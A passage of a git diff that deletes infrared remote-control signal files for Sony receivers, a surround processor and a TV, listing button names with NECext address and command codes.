24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R4 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R7 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R8_(R) -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_4 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_7 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_8 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_10 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_11 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_12 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_13 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_14 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_15 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_16 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_17_LONG -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_9_MID -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REVERB_TIME_1_SHORT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SOUNDFIELD_OFF -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_01 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_02 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_03 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_04 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_05 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_06 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_07 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_08 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_09 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_10 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_11 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_12 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_13 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_14 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_15 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_16 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_17 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_18 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_19 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_20 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_EFFECT_STEP_21 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_ENHANCED_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_ENHANCED_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_MULTI_DIMEN -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_MULTI_REAR -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_SEMI_THEATA -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_SEMI_THEATB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRT_SEMI_THEATC -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_VIRTSEMI_MULDIM -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD01 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD02 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD03 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD04 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD05 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD06 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD07 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD08 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD09 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD10 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD11 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD12 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD13 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD14 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD15 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD16 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUR_WALL_SOFT-HARD17 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_ARENA -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_CHURCH -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_DISCO -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_JAZZ -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_LARGE_HALL -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_LIVE_HOUSE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_MOVIE_MONO -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_MOVIE_STERE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_NIGHT_THEAT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_NORMAL -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_OPERA_HOUSE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_SMALL_HALL -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_STADIUM -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_STUDIO_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_STUDIO_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_STUDIO_C -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_VIRT_THEATA -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_VIRT_THEATB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_VIRT_THEATC -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: ANALOG_DIRECT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: ARENA -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_C_STUDIO_EX_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_C_STUDIO_EX_C -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_STUDIO_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_STUDIO_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_STUDIO_C -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: HEADPHONE_THEATER -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LARGE_HALL -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LIVE_HOUSE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SEMI_C_STUDIO_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SMALL_HALL -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: STEREO_MOVIE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRT_ENHANCED_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_MATRIX_6.1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_MULTI_DIMENS -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_MULTI_REAR -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: 2_CH._STEREO -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: AUTO_DECODE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_STUDIO_EX_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_STUDIO_EX_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_STUDIO_EX_C -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DIGITAL_CONCERT_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DIGITAL_CONCERT_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DISCO/CLUB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: EQ_OFF -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: EQ_PESET_1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: EQ_PESET_2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: EQ_PESET_3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: EQ_PESET_4 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: EQ_PESET_5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: OPERA_HOUSE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SEMI-CINEMA_EX_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SEMI-CINEMA_EX_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SEMI-CINEMA_EX_C -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_ENHANCED_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_ENHANCED_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_MULTI-DIMENS -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VIRTUAL_SEMI-MULTI_D -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: VITUAL_MULTI-REAR -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir deleted file mode 100644 index 2b29eafa2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/4,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 -# -name: SYSTEM_STANDBY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir deleted file mode 100644 index a9d09bdd2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/48,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 10 00 00 00 -# -name: PRESET/CH/D._SKIP_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 10 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 11 00 00 00 -# -name: PRESET/CH/D._SKIP_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 15 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1D 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 20 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 21 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 22 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 23 00 00 00 -# -name: CD/SACD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 25 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 25 00 00 00 -# -name: BAL_L -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 26 00 00 00 -# -name: BALANCE_R -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 27 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2F 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 42 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 42 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 53 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 60 00 00 00 -# -name: MD/DAT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 69 00 00 00 -# -name: MD/TAPE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 69 00 00 00 -# -name: MD_TAPE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 69 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 6A 00 00 00 -# -name: MULTI_CH -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 72 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 7D 00 00 00 -# -name: DVD/LD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir deleted file mode 100644 index 7a20df588..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/6,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir deleted file mode 100644 index 657c04e3d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/7,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir deleted file mode 100644 index 8379c8992..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/8,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir deleted file mode 100644 index a8840a06d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Surround Processor/26,233.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 12 00 00 00 -# -name: REAR_BAL_L -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 26 00 00 00 -# -name: REAR_BAL_R -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 27 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 32 00 00 00 -# -name: MENU_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 38 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 38 00 00 00 -# -name: DOLBY_SURROUND -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 3D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 3E 00 00 00 -# -name: EFFECT_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 42 00 00 00 -# -name: EFFECT_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 43 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4B 00 00 00 -# -name: FRONT_BAL_L -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4C 00 00 00 -# -name: FRONT_BAL_R -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4D 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4E 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4F 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 54 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 55 00 00 00 -# -name: SUBWOOFER_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 57 00 00 00 -# -name: MENU_DWN -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir deleted file mode 100644 index 503a95569..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/TV/1,-1.ir +++ /dev/null @@ -1,626 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: 1- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: 2- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: NORMALIZE_PICT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MTS/SAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: -/-- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: HUE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: HUE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: INPUT_TV_TUNER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: INPUT_SCROLL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: BALANCE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: BALANCE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: ANT/AUX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: TIMER_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# 